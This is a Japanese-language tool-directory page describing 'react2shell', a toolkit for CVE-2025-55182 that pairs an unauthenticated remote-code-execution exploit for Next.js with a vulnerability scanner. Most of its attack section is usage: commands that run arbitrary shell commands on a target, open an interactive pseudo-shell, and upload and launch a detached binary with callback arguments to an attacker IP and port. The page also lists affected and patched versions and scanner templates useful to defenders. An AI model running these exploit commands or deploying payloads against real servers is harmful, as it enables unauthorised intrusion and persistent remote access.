Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-react2shell — Next.jsアプリケーションのCVE-2025-55182脆弱性を検出するためのbashスキャナー。そして、PoCのNode.jsスクリプト。 | Kitploit
ツール/GitHubGitHub/saturate/cve-2025-55182-react2shell
脆弱性スキャナーエクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツールペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
saturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

Next.jsアプリケーションのCVE-2025-55182脆弱性を検出するためのbashスキャナー。そして、PoCのNode.jsスクリプト。

リポジトリを見る
11ヶ月前未レビュー

react2shell

CVE-2025-55182 ツールキット。RSC ペイロードインジェクションによる Next.js の未認証 RCE のスキャナ + エクスプロイト。

Node.js エクスプロイト: 依存関係ゼロ。 Bash スキャナ: 単一 URL または一括リストをチェックします。

エクスプロイト

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy は 4 つの RCE 呼び出しを連結します: プラットフォーム検出 (uname)、バイナリのダウンロード (一時 HTTP サーバーを起動し、ターゲット上で curl/wget を使用)、およびデタッチされた spawn により、プロセスが 5 秒の execSync タイムアウト後も存続します。

注: ターゲットページは動的 (force-dynamic またはキャッシュ不可のルート) である必要があります。静的な/プリレンダリングされたページは、ペイロードを実行する代わりにキャッシュされたダイジェストを返します。

スキャナ

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

統合テンプレート

templates/ 内のセキュリティツール用テンプレート:

  • Nuclei (templates/nuclei.yaml)
  • Burp Suite (templates/burp-scanner.json)
  • OWASP ZAP (templates/zap-scan-policy.xml)

影響を受けるバージョン

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77、すべての 15.x および 16.x (パッチ適用前)

パッチ適用済み: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+

技術詳細

完全なエクスプロイトチェーン分析については TECHNICAL.md を参照してください。

参考文献

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • React 勧告: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • 修正コミット: https://github.com/facebook/react/commit/7dc903cd29

ライセンス

MIT

作者

Allan Kimmer Jensen - https://akj.io

ツールをダウンロード